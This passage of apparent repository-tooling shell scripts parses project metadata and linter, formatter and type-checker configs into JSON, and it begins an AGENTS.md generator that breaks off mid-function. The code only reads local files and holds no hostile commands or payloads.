      # Helper to extract checklist items from markdown
      extract_checklist() {
          local file="$1"
          local items=()
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Find checkbox lines: - [ ] text or - [x] text
          while IFS= read -r line; do
              # Extract text after checkbox
              text=$(echo "$line" | sed -E 's/^[[:space:]]*[-*][[:space:]]*\[[[:space:]x]\][[:space:]]*//')
              if [ -n "$text" ] && [ ${#text} -gt 3 ]; then
                  items+=("$text")
              fi
          done < <(grep -E '^\s*[-*]\s*\[[[:space:]x]\]' "$file" 2>/dev/null || true)
      
          if [ ${#items[@]} -eq 0 ]; then
              echo "[]"
          else
              printf '%s\n' "${items[@]}" | jq -R . | jq -s .
          fi
      }
      
      # Extract required fields from issue templates (YAML front matter)
      extract_issue_template_fields() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Check for YAML form-based template
          if grep -q "^type:" "$file" 2>/dev/null; then
              # Extract field labels marked as required
              grep -B2 "required: true" "$file" 2>/dev/null | grep "label:" | sed 's/.*label:[[:space:]]*//' | jq -R . | jq -s .
          else
              echo "[]"
          fi
      }
      
      # Parse CODEOWNERS file
      parse_codeowners() {
          local file="$1"
          local owners=()
      
          if [ ! -f "$file" ]; then
              echo "[]"
              return
          fi
      
          # Extract pattern and owners (skip comments and empty lines)
          while IFS= read -r line; do
              # Skip comments and empty lines
              [[ "$line" =~ ^[[:space:]]*# ]] && continue
              [[ -z "${line// }" ]] && continue
      
              # Parse pattern and owners
              pattern=$(echo "$line" | awk '{print $1}')
              owner=$(echo "$line" | awk '{$1=""; print}' | sed 's/^[[:space:]]*//')
      
              if [ -n "$pattern" ] && [ -n "$owner" ]; then
                  owners+=("{\"pattern\": \"$pattern\", \"owners\": \"$owner\"}")
              fi
          done < "$file"
      
          if [ ${#owners[@]} -eq 0 ]; then
              echo "[]"
          else
              printf '%s\n' "${owners[@]}" | jq -s .
          fi
      }
      
      # Parse dependabot.yml
      parse_dependabot() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "{}"
              return
          fi
      
          # Extract package ecosystems and schedules
          local ecosystems=()
          local current_eco=""
          local current_schedule=""
      
          while IFS= read -r line; do
              if [[ "$line" =~ package-ecosystem:[[:space:]]*\"?([^\"]+)\"? ]]; then
                  current_eco="${BASH_REMATCH[1]}"
              elif [[ "$line" =~ interval:[[:space:]]*\"?([^\"]+)\"? ]]; then
                  current_schedule="${BASH_REMATCH[1]}"
                  if [ -n "$current_eco" ]; then
                      ecosystems+=("{\"ecosystem\": \"$current_eco\", \"schedule\": \"$current_schedule\"}")
                      current_eco=""
                      current_schedule=""
                  fi
              fi
          done < "$file"
      
          if [ ${#ecosystems[@]} -eq 0 ]; then
              echo "{\"updates\": []}"
          else
              printf '%s\n' "${ecosystems[@]}" | jq -s '{updates: .}'
          fi
      }
      
      # Parse renovate.json
      parse_renovate() {
          local file="$1"
      
          if [ ! -f "$file" ]; then
              echo "{}"
              return
          fi
      
          # Extract key configuration
          jq '{
              extends: .extends,
              schedule: .schedule,
              automerge: .automerge,
              labels: .labels
          }' "$file" 2>/dev/null || echo "{}"
      }
      
      # Detect platform type
      PLATFORM="none"
      if [ -d ".github" ]; then
          PLATFORM="github"
      elif [ -d ".gitlab" ]; then
          PLATFORM="gitlab"
      elif [ -d ".bitbucket" ]; then
          PLATFORM="bitbucket"
      fi
      
      # Initialize result variables
      PR_TEMPLATE_FILE=""
      PR_CHECKLIST="[]"
      ISSUE_TEMPLATES=()
      CODEOWNERS_FILE=""
      CODEOWNERS_RULES="[]"
      DEPENDABOT_FILE=""
      DEPENDABOT_CONFIG="{}"
      RENOVATE_FILE=""
      RENOVATE_CONFIG="{}"
      FUNDING_FILE=""
      FUNDING_SPONSORS="[]"
      
      # GitHub-specific extraction
      if [ "$PLATFORM" = "github" ]; then
          # PR template
          for f in .github/PULL_REQUEST_TEMPLATE.md .github/pull_request_template.md PULL_REQUEST_TEMPLATE.md; do
              if [ -f "$f" ]; then
                  PR_TEMPLATE_FILE="$f"
                  PR_CHECKLIST=$(extract_checklist "$f")
                  break
              fi
          done
      
          # Issue templates
          if [ -d ".github/ISSUE_TEMPLATE" ]; then
              for template in .github/ISSUE_TEMPLATE/*.md .github/ISSUE_TEMPLATE/*.yml .github/ISSUE_TEMPLATE/*.yaml; do
                  if [ -f "$template" ]; then
                      name=$(basename "$template" | sed 's/\.[^.]*$//')
                      fields=$(extract_issue_template_fields "$template")
                      ISSUE_TEMPLATES+=("{\"name\": \"$name\", \"file\": \"$template\", \"required_fields\": $fields}")
                  fi
              done
          fi
      
          # CODEOWNERS
          for f in .github/CODEOWNERS CODEOWNERS docs/CODEOWNERS; do
              if [ -f "$f" ]; then
                  CODEOWNERS_FILE="$f"
                  CODEOWNERS_RULES=$(parse_codeowners "$f")
                  break
              fi
          done
      
          # Dependabot
          for f in .github/dependabot.yml .github/dependabot.yaml; do
              if [ -f "$f" ]; then
                  DEPENDABOT_FILE="$f"
                  DEPENDABOT_CONFIG=$(parse_dependabot "$f")
                  break
              fi
          done
      
          # Renovate (can be in root or .github)
          for f in renovate.json .github/renovate.json renovate.json5 .renovaterc .renovaterc.json; do
              if [ -f "$f" ]; then
                  RENOVATE_FILE="$f"
                  RENOVATE_CONFIG=$(parse_renovate "$f")
                  break
              fi
          done
      
          # Funding
          if [ -f ".github/FUNDING.yml" ]; then
              FUNDING_FILE=".github/FUNDING.yml"
              # Extract sponsor platforms
              FUNDING_SPONSORS=$(grep -E "^[a-z_]+:" "$FUNDING_FILE" 2>/dev/null | cut -d: -f1 | jq -R . | jq -s . || echo "[]")
          fi
      fi
      
      # GitLab-specific extraction
      if [ "$PLATFORM" = "gitlab" ]; then
          # MR template
          for f in .gitlab/merge_request_templates/Default.md .gitlab/merge_request_templates/*.md; do
              if [ -f "$f" ]; then
                  PR_TEMPLATE_FILE="$f"
                  PR_CHECKLIST=$(extract_checklist "$f")
                  break
              fi
          done
      
          # Issue templates
          if [ -d ".gitlab/issue_templates" ]; then
              for template in .gitlab/issue_templates/*.md; do
                  if [ -f "$template" ]; then
                      name=$(basename "$template" .md)
                      ISSUE_TEMPLATES+=("{\"name\": \"$name\", \"file\": \"$template\", \"required_fields\": []}")
                  fi
              done
          fi
      
          # CODEOWNERS
          if [ -f "CODEOWNERS" ]; then
              CODEOWNERS_FILE="CODEOWNERS"
              CODEOWNERS_RULES=$(parse_codeowners "CODEOWNERS")
          fi
      fi
      
      # Build issue templates JSON
      if [ ${#ISSUE_TEMPLATES[@]} -eq 0 ]; then
          ISSUE_TEMPLATES_JSON="[]"
      else
          ISSUE_TEMPLATES_JSON=$(printf '%s\n' "${ISSUE_TEMPLATES[@]}" | jq -s .)
      fi
      
      # Build final JSON output
      jq -n \
          --arg platform "$PLATFORM" \
          --arg pr_template "$PR_TEMPLATE_FILE" \
          --argjson pr_checklist "$PR_CHECKLIST" \
          --argjson issue_templates "$ISSUE_TEMPLATES_JSON" \
          --arg codeowners_file "$CODEOWNERS_FILE" \
          --argjson codeowners_rules "$CODEOWNERS_RULES" \
          --arg dependabot_file "$DEPENDABOT_FILE" \
          --argjson dependabot "$DEPENDABOT_CONFIG" \
          --arg renovate_file "$RENOVATE_FILE" \
          --argjson renovate "$RENOVATE_CONFIG" \
          --arg funding_file "$FUNDING_FILE" \
          --argjson funding_sponsors "$FUNDING_SPONSORS" \
          '{
              platform: $platform,
              pull_request: {
                  template_file: $pr_template,
                  checklist_items: $pr_checklist
              },
              issue_templates: $issue_templates,
              codeowners: {
                  file: $codeowners_file,
                  rules: $codeowners_rules
              },
              dependency_updates: {
                  dependabot: {
                      file: $dependabot_file,
                      config: $dependabot
                  },
                  renovate: {
                      file: $renovate_file,
                      config: $renovate
                  }
              },
              funding: {
                  file: $funding_file,
                  sponsors: $funding_sponsors
              }
          }'
      
    • extract-quality-configs.sh 14.8 KB
      #!/usr/bin/env bash
      # Extract detailed settings from quality tool configuration files
      # (linters, formatters, type checkers, etc.)
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Helper to safely parse YAML values
      yaml_get() {
          local file="$1"
          local key="$2"
          local default="${3:-}"
      
          if [ ! -f "$file" ]; then
              echo "$default"
              return
          fi
      
          # Simple YAML extraction (handles basic cases)
          grep -E "^${key}:" "$file" 2>/dev/null | sed "s/^${key}:[[:space:]]*//" | head -1 || echo "$default"
      }
      
      # Parse golangci-lint config (.golangci.yml or .golangci.yaml)
      parse_golangci() {
          local config_file=""
          for f in .golangci.yml .golangci.yaml; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          local line_length=""
          local enabled_linters=()
          local disabled_linters=()
      
          # Extract line-length from linters-settings.lll
          line_length=$(grep -A5 "lll:" "$config_file" 2>/dev/null | grep "line-length:" | sed 's/.*line-length:[[:space:]]*//' | head -1 || echo "")
      
          # Extract enabled linters
          local in_enable=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]*enable: ]]; then
                  in_enable=true
                  continue
              fi
              if [[ "$line" =~ ^[[:space:]]*disable: ]] || [[ "$line" =~ ^[[:space:]]*[a-z]+: && ! "$line" =~ ^[[:space:]]*- ]]; then
                  in_enable=false
              fi
              if $in_enable && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*([a-z0-9_-]+) ]]; then
                  enabled_linters+=("${BASH_REMATCH[1]}")
              fi
          done < "$config_file"
      
          # Extract disabled linters
          local in_disable=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]*disable: ]]; then
                  in_disable=true
                  continue
              fi
              if [[ "$line" =~ ^[[:space:]]*enable: ]] || [[ "$line" =~ ^[[:space:]]*[a-z]+: && ! "$line" =~ ^[[:space:]]*- ]]; then
                  in_disable=false
              fi
              if $in_disable && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*([a-z0-9_-]+) ]]; then
                  disabled_linters+=("${BASH_REMATCH[1]}")
              fi
          done < "$config_file"
      
          # Build JSON arrays
          local enabled_json="[]"
          local disabled_json="[]"
          [ ${#enabled_linters[@]} -gt 0 ] && enabled_json=$(printf '%s\n' "${enabled_linters[@]}" | jq -R . | jq -s .)
          [ ${#disabled_linters[@]} -gt 0 ] && disabled_json=$(printf '%s\n' "${disabled_linters[@]}" | jq -R . | jq -s .)
      
          jq -n \
              --arg file "$config_file" \
              --arg line_length "$line_length" \
              --argjson enabled "$enabled_json" \
              --argjson disabled "$disabled_json" \
              '{
                  file: $file,
                  line_length: $line_length,
                  enabled_linters: $enabled,
                  disabled_linters: $disabled
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Parse PHPStan config (phpstan.neon or phpstan.neon.dist)
      parse_phpstan() {
          local config_file=""
          for f in phpstan.neon phpstan.neon.dist phpstan.dist.neon; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          local level=""
          local paths=()
      
          # Extract level
          level=$(grep -E "^[[:space:]]*level:" "$config_file" 2>/dev/null | sed 's/.*level:[[:space:]]*//' | head -1 || echo "")
      
          # Extract paths
          local in_paths=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]*paths: ]]; then
                  in_paths=true
                  continue
              fi
              if [[ "$line" =~ ^[[:space:]]*[a-z]+: && ! "$line" =~ ^[[:space:]]*- ]]; then
                  in_paths=false
              fi
              if $in_paths && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then
                  paths+=("${BASH_REMATCH[1]}")
              fi
          done < "$config_file"
      
          local paths_json="[]"
          [ ${#paths[@]} -gt 0 ] && paths_json=$(printf '%s\n' "${paths[@]}" | jq -R . | jq -s .)
      
          jq -n \
              --arg file "$config_file" \
              --arg level "$level" \
              --argjson paths "$paths_json" \
              '{
                  file: $file,
                  level: $level,
                  paths: $paths
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Parse ESLint config
      parse_eslint() {
          local config_file=""
          for f in eslint.config.js eslint.config.mjs .eslintrc.js .eslintrc.cjs .eslintrc.json .eslintrc.yml .eslintrc.yaml .eslintrc; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          local extends=""
          local plugins=""
      
          # For JSON config files
          if [[ "$config_file" == *.json ]] || [[ "$config_file" == .eslintrc ]]; then
              extends=$(jq -r '.extends // [] | if type == "array" then . else [.] end | join(", ")' "$config_file" 2>/dev/null || echo "")
              plugins=$(jq -r '.plugins // [] | join(", ")' "$config_file" 2>/dev/null || echo "")
          fi
      
          jq -n \
              --arg file "$config_file" \
              --arg extends "$extends" \
              --arg plugins "$plugins" \
              '{
                  file: $file,
                  extends: $extends,
                  plugins: $plugins
              } | with_entries(select(.value != ""))'
      }
      
      # Parse Prettier config
      parse_prettier() {
          local config_file=""
          for f in .prettierrc .prettierrc.json .prettierrc.yml .prettierrc.yaml .prettierrc.js .prettierrc.cjs prettier.config.js prettier.config.cjs; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          local print_width=""
          local tab_width=""
          local use_tabs=""
          local semi=""
          local single_quote=""
      
          # For JSON config files
          if [[ "$config_file" == *.json ]] || [[ "$config_file" == .prettierrc ]]; then
              print_width=$(jq -r '.printWidth // ""' "$config_file" 2>/dev/null || echo "")
              tab_width=$(jq -r '.tabWidth // ""' "$config_file" 2>/dev/null || echo "")
              use_tabs=$(jq -r '.useTabs // ""' "$config_file" 2>/dev/null || echo "")
              semi=$(jq -r '.semi // ""' "$config_file" 2>/dev/null || echo "")
              single_quote=$(jq -r '.singleQuote // ""' "$config_file" 2>/dev/null || echo "")
          fi
      
          jq -n \
              --arg file "$config_file" \
              --arg print_width "$print_width" \
              --arg tab_width "$tab_width" \
              --arg use_tabs "$use_tabs" \
              --arg semi "$semi" \
              --arg single_quote "$single_quote" \
              '{
                  file: $file,
                  print_width: $print_width,
                  tab_width: $tab_width,
                  use_tabs: $use_tabs,
                  semi: $semi,
                  single_quote: $single_quote
              } | with_entries(select(.value != ""))'
      }
      
      # Parse TypeScript config (tsconfig.json)
      parse_tsconfig() {
          if [ ! -f "tsconfig.json" ]; then
              echo "{}"
              return
          fi
      
          local strict=""
          local target=""
          local module=""
          local strict_null=""
      
          strict=$(jq -r '.compilerOptions.strict // ""' tsconfig.json 2>/dev/null || echo "")
          target=$(jq -r '.compilerOptions.target // ""' tsconfig.json 2>/dev/null || echo "")
          module=$(jq -r '.compilerOptions.module // ""' tsconfig.json 2>/dev/null || echo "")
          strict_null=$(jq -r '.compilerOptions.strictNullChecks // ""' tsconfig.json 2>/dev/null || echo "")
      
          jq -n \
              --arg file "tsconfig.json" \
              --arg strict "$strict" \
              --arg target "$target" \
              --arg module "$module" \
              --arg strict_null "$strict_null" \
              '{
                  file: $file,
                  strict: $strict,
                  target: $target,
                  module: $module,
                  strict_null_checks: $strict_null
              } | with_entries(select(.value != ""))'
      }
      
      # Parse Ruff config (ruff.toml or pyproject.toml)
      parse_ruff() {
          local config_file=""
          local line_length=""
          local select_rules=""
          local ignore_rules=""
      
          # Check for standalone ruff.toml
          if [ -f "ruff.toml" ]; then
              config_file="ruff.toml"
              line_length=$(grep -E "^line-length" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
              select_rules=$(grep -E "^select" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
              ignore_rules=$(grep -E "^ignore" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          elif [ -f "pyproject.toml" ] && grep -q '\[tool.ruff\]' pyproject.toml 2>/dev/null; then
              config_file="pyproject.toml"
              # Extract from [tool.ruff] section
              line_length=$(sed -n '/\[tool.ruff\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^line-length" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
              select_rules=$(sed -n '/\[tool.ruff\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^select" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          fi
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          jq -n \
              --arg file "$config_file" \
              --arg line_length "$line_length" \
              --arg select "$select_rules" \
              --arg ignore "$ignore_rules" \
              '{
                  file: $file,
                  line_length: $line_length,
                  select: $select,
                  ignore: $ignore
              } | with_entries(select(.value != ""))'
      }
      
      # Parse mypy config
      parse_mypy() {
          local config_file=""
          local strict=""
          local python_version=""
      
          # Check various config locations
          if [ -f "mypy.ini" ]; then
              config_file="mypy.ini"
              strict=$(grep -E "^strict[[:space:]]*=" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
              python_version=$(grep -E "^python_version[[:space:]]*=" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          elif [ -f ".mypy.ini" ]; then
              config_file=".mypy.ini"
              strict=$(grep -E "^strict[[:space:]]*=" "$config_file" 2>/dev/null | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          elif [ -f "pyproject.toml" ] && grep -q '\[tool.mypy\]' pyproject.toml 2>/dev/null; then
              config_file="pyproject.toml"
              strict=$(sed -n '/\[tool.mypy\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^strict" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
              python_version=$(sed -n '/\[tool.mypy\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^python_version" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          elif [ -f "setup.cfg" ] && grep -q '\[mypy\]' setup.cfg 2>/dev/null; then
              config_file="setup.cfg"
              strict=$(sed -n '/\[mypy\]/,/^\[/p' setup.cfg 2>/dev/null | grep -E "^strict[[:space:]]*=" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          fi
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          jq -n \
              --arg file "$config_file" \
              --arg strict "$strict" \
              --arg python_version "$python_version" \
              '{
                  file: $file,
                  strict: $strict,
                  python_version: $python_version
              } | with_entries(select(.value != ""))'
      }
      
      # Parse Black config
      parse_black() {
          local config_file=""
          local line_length=""
          local target_version=""
      
          if [ -f "pyproject.toml" ] && grep -q '\[tool.black\]' pyproject.toml 2>/dev/null; then
              config_file="pyproject.toml"
              line_length=$(sed -n '/\[tool.black\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^line-length" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
              target_version=$(sed -n '/\[tool.black\]/,/^\[/p' pyproject.toml 2>/dev/null | grep -E "^target-version" | sed 's/.*=[[:space:]]*//' | head -1 || echo "")
          fi
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          jq -n \
              --arg file "$config_file" \
              --arg line_length "$line_length" \
              --arg target_version "$target_version" \
              '{
                  file: $file,
                  line_length: $line_length,
                  target_version: $target_version
              } | with_entries(select(.value != ""))'
      }
      
      # Parse PHP-CS-Fixer config
      parse_php_cs_fixer() {
          local config_file=""
          for f in .php-cs-fixer.php .php-cs-fixer.dist.php .php_cs .php_cs.dist; do
              [ -f "$f" ] && config_file="$f" && break
          done
      
          if [ -z "$config_file" ]; then
              echo "{}"
              return
          fi
      
          # Check for risky rules
          local has_risky="false"
          grep -q "setRiskyAllowed(true)" "$config_file" 2>/dev/null && has_risky="true"
      
          # Try to extract rule set
          local rule_set=""
          rule_set=$(grep -oE "@(PSR12|PSR2|Symfony|PhpCsFixer)" "$config_file" 2>/dev/null | head -1 || echo "")
      
          jq -n \
              --arg file "$config_file" \
              --arg rule_set "$rule_set" \
              --argjson risky "$has_risky" \
              '{
                  file: $file,
                  rule_set: $rule_set,
                  risky_allowed: $risky
              } | with_entries(select(.value != "" and .value != false))'
      }
      
      # Detect which tools are configured
      TOOLS=()
      [ -f ".golangci.yml" ] || [ -f ".golangci.yaml" ] && TOOLS+=("golangci-lint")
      [ -f "phpstan.neon" ] || [ -f "phpstan.neon.dist" ] || [ -f "phpstan.dist.neon" ] && TOOLS+=("phpstan")
      for f in eslint.config.js eslint.config.mjs .eslintrc.js .eslintrc.cjs .eslintrc.json .eslintrc.yml .eslintrc.yaml .eslintrc; do
          [ -f "$f" ] && TOOLS+=("eslint") && break
      done
      for f in .prettierrc .prettierrc.json .prettierrc.yml prettier.config.js; do
          [ -f "$f" ] && TOOLS+=("prettier") && break
      done
      [ -f "tsconfig.json" ] && TOOLS+=("typescript")
      { [ -f "ruff.toml" ] || grep -q '\[tool.ruff\]' pyproject.toml 2>/dev/null; } && TOOLS+=("ruff")
      { [ -f "mypy.ini" ] || [ -f ".mypy.ini" ] || grep -q '\[tool.mypy\]' pyproject.toml 2>/dev/null || grep -q '\[mypy\]' setup.cfg 2>/dev/null; } && TOOLS+=("mypy")
      grep -q '\[tool.black\]' pyproject.toml 2>/dev/null && TOOLS+=("black")
      for f in .php-cs-fixer.php .php-cs-fixer.dist.php .php_cs .php_cs.dist; do
          [ -f "$f" ] && TOOLS+=("php-cs-fixer") && break
      done
      
      # Build tools list JSON
      if [ ${#TOOLS[@]} -eq 0 ]; then
          TOOLS_JSON="[]"
      else
          TOOLS_JSON=$(printf '%s\n' "${TOOLS[@]}" | jq -R . | jq -s .)
      fi
      
      # Parse each tool config
      GOLANGCI_CONFIG=$(parse_golangci)
      PHPSTAN_CONFIG=$(parse_phpstan)
      ESLINT_CONFIG=$(parse_eslint)
      PRETTIER_CONFIG=$(parse_prettier)
      TSCONFIG=$(parse_tsconfig)
      RUFF_CONFIG=$(parse_ruff)
      MYPY_CONFIG=$(parse_mypy)
      BLACK_CONFIG=$(parse_black)
      PHP_CS_FIXER_CONFIG=$(parse_php_cs_fixer)
      
      # Build final JSON output
      jq -n \
          --argjson tools "$TOOLS_JSON" \
          --argjson golangci "$GOLANGCI_CONFIG" \
          --argjson phpstan "$PHPSTAN_CONFIG" \
          --argjson eslint "$ESLINT_CONFIG" \
          --argjson prettier "$PRETTIER_CONFIG" \
          --argjson typescript "$TSCONFIG" \
          --argjson ruff "$RUFF_CONFIG" \
          --argjson mypy "$MYPY_CONFIG" \
          --argjson black "$BLACK_CONFIG" \
          --argjson php_cs_fixer "$PHP_CS_FIXER_CONFIG" \
          '{
              detected_tools: $tools,
              golangci_lint: $golangci,
              phpstan: $phpstan,
              eslint: $eslint,
              prettier: $prettier,
              typescript: $typescript,
              ruff: $ruff,
              mypy: $mypy,
              black: $black,
              php_cs_fixer: $php_cs_fixer
          }'
      
    • generate-agents.sh 113.7 KB
      #!/usr/bin/env bash
      # Main AGENTS.md generator script
      # Requires: Bash 4.3+ (for nameref variables)
      # shellcheck disable=SC2034  # vars/scope_vars are used via nameref in template functions
      set -euo pipefail
      
      # Check Bash version - we need 4.3+ for nameref variables (local -n)
      if ((BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 3))); then
          echo "Error: Bash 4.3+ required (found ${BASH_VERSION})." >&2
          echo "On macOS: brew install bash" >&2
          echo "Then run with: /opt/homebrew/bin/bash $0 $*" >&2
          exit 1
      fi
      
      SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
      SKILL_DIR="$(dirname "$SCRIPT_DIR")"
      TEMPLATE_DIR="$SKILL_DIR/assets"
      
      # Source helper libraries
      # shellcheck disable=SC1091 # libs are shellchecked individually by the same hook
      source "$SCRIPT_DIR/lib/template.sh"
      # shellcheck disable=SC1091
      source "$SCRIPT_DIR/lib/summary.sh"
      # shellcheck disable=SC1091
      source "$SCRIPT_DIR/lib/config-root.sh"
      
      # Default options
      PROJECT_DIR="${1:-.}"
      STYLE="${STYLE:-thin}"
      DRY_RUN=false
      UPDATE_ONLY=false
      FORCE=false
      VERBOSE=false
      CLAUDE_SHIM=false
      CREATE_SYMLINKS=true
      JSON=false
      
      # Parse flags
      while [[ $# -gt 0 ]]; do
          case $1 in
              --style=*)
                  STYLE="${1#*=}"
                  shift
                  ;;
              --dry-run)
                  DRY_RUN=true
                  shift
                  ;;
              --json)
                  JSON=true
                  shift
                  ;;
              --update)
                  UPDATE_ONLY=true
                  shift
                  ;;
              --force)
                  FORCE=true
                  shift
                  ;;
              --verbose|-v)
                  VERBOSE=true
                  shift
                  ;;
              --claude-shim)
                  CLAUDE_SHIM=true
                  shift
                  ;;
              --no-symlinks)
                  CREATE_SYMLINKS=false
                  shift
                  ;;
              --help|-h)
                  cat <<EOF
      Usage: generate-agents.sh [PROJECT_DIR] [OPTIONS]
      
      Generate AGENTS.md files for a project following the public agents.md convention.
      
      Options:
        --style=thin|verbose    Template style (default: thin)
        --dry-run               Preview what will be created
        --json                  Emit the write manifest as JSON (human output suppressed)
        --update                Update existing files only
        --force                 Force regeneration of existing files
        --claude-shim           Generate CLAUDE.md that imports AGENTS.md (root only, legacy)
        --no-symlinks           Skip creating CLAUDE.md/GEMINI.md symlinks (default: create them)
        --verbose, -v           Verbose output
        --help, -h              Show this help message
      
      Examples:
        generate-agents.sh .                    # Generate thin root + scoped files
        generate-agents.sh . --dry-run          # Preview changes
        generate-agents.sh . --dry-run --json   # Machine-readable plan, nothing written
        generate-agents.sh . --style=verbose    # Use verbose root template
        generate-agents.sh . --update           # Update existing files
        generate-agents.sh . --no-symlinks      # Skip CLAUDE.md/GEMINI.md symlinks
        generate-agents.sh . --claude-shim      # Generate CLAUDE.md @import shim instead of symlink
      EOF
                  exit 0
                  ;;
              *)
                  PROJECT_DIR="$1"
                  shift
                  ;;
          esac
      done
      
      # Validate PROJECT_DIR exists
      if [[ ! -d "$PROJECT_DIR" ]]; then
          echo "Error: Project directory not found: $PROJECT_DIR" >&2
          exit 1
      fi
      
      # Convert to absolute path before cd (so subsequent script calls work)
      PROJECT_DIR="$(cd "$PROJECT_DIR" && pwd)"
      cd "$PROJECT_DIR"
      
      # --json emits the write manifest instead of the prose, the same way the
      # read-only scripts do it: stdout is parked on fd 3 and the human lines go
      # nowhere, so every existing echo stays untouched.
      if [ "$JSON" = true ]; then
          exec 3>&1 1>/dev/null
      fi
      
      # One entry per path the run touches. With --dry-run it is a plan, without it a
      # receipt of what was written -- the dry_run field in the output says which.
      MANIFEST=()
      # emit_op OP KIND PATH [KEY VALUE]
      #   op:   write | symlink | keep
      #   kind: agents-file | compat-file | shim
      # Paths are recorded relative to the project root, so a manifest can be
      # reviewed and compared without carrying one machine's directory layout.
      emit_op() {
          local op="$1" kind="$2" path="$3" key="${4:-}" value="${5:-}"
          local rel="${path#"$PROJECT_DIR"/}"
          MANIFEST+=("$(jq -nc \
              --arg op "$op" --arg kind "$kind" --arg path "$rel" \
              --arg key "$key" --arg value "$value" \
              '{op: $op, kind: $kind, path: $path}
               + (if $key == "" then {} else {($key): $value} end)')")
      }
      
      # Initialize summary tracking
      init_summary
      
      log() {
          if [ "$VERBOSE" = true ]; then
              echo "[INFO] $*" >&2
          fi
      }
      
      # A CLAUDE.md/GEMINI.md compatibility file we are allowed to write:
      # absent, a symlink we created (pointing at AGENTS.md), or our own generated
      # "@AGENTS.md" import file. Anything else — a regular file, or a symlink
      # pointing at rules the user maintains elsewhere — belongs to the user and is
      # kept unless --force. Without this check "is a symlink" was treated the same
      # as "does not exist" and a foreign link was silently repointed (#103).
      compat_file_is_ours() {
          local file="$1"
          if [ -L "$file" ]; then
              [ "$(readlink "$file")" = "AGENTS.md" ]
              return
          fi
          [ ! -e "$file" ] && return 0
          grep -qxF '@AGENTS.md' "$file" 2>/dev/null
      }
      
      # One line saying what was left alone and how to override it. Printed
      # unconditionally: a skip that only shows under --verbose reads as "nothing
      # happened here" to everyone else.
      report_kept_file() {
          local file="$1" label="$2" what
          if [ -L "$file" ]; then
              what="symlink → $(readlink "$file")"
          else
              what="regular file"
          fi
          emit_op keep compat-file "$file" reason "$what"
          echo "⏭️  Kept: $label ($what) — use --force to replace"
      }
      
      error() {
          echo "[ERROR] $*" >&2
          exit 1
      }
      
      # Detect Node.js package manager for a scope directory
      # Walks up from scope dir to find package.json with lockfile
      # Workspace-aware: checks workspace root for lockfiles if in a monorepo
      detect_node_package_manager() {
          local scope_dir="$1"
          local search_dir="$scope_dir"
      
          # First, check if we're in a workspace - lockfile will be at workspace root
          local workspace_root
          workspace_root=$(find_node_workspace_root "$scope_dir" || true)
          if [ -n "$workspace_root" ]; then
              [ -f "$workspace_root/pnpm-lock.yaml" ] && echo "pnpm" && return
              [ -f "$workspace_root/yarn.lock" ] && echo "yarn" && return
              [ -f "$workspace_root/bun.lockb" ] && echo "bun" && return
              [ -f "$workspace_root/package-lock.json" ] && echo "npm" && return
          fi
      
          # Walk up to find package.json with lockfile
          while [ "$search_dir" != "." ] && [ "$search_dir" != "/" ]; do
              if [ -f "$search_dir/package.json" ]; then
                  # Found package.json, check for lockfiles
                  [ -f "$search_dir/pnpm-lock.yaml" ] && echo "pnpm" && return
                  [ -f "$search_dir/yarn.lock" ] && echo "yarn" && return
                  [ -f "$search_dir/bun.lockb" ] && echo "bun" && return
                  [ -f "$search_dir/package-lock.json" ] && echo "npm" && return
                  # No lockfile, default to npm
                  echo "npm"
                  return
              fi
              search_dir=$(dirname "$search_dir")
          done
      
          # Check root as last resort
          if [ -f "package.json" ]; then
              [ -f "pnpm-lock.yaml" ] && echo "pnpm" && return
              [ -f "yarn.lock" ] && echo "yarn" && return
              [ -f "bun.lockb" ] && echo "bun" && return
              echo "npm"
              return
          fi
      
          # Fallback: use from PROJECT_INFO if available
          if [ -n "${PROJECT_INFO:-}" ]; then
              local pkg_mgr
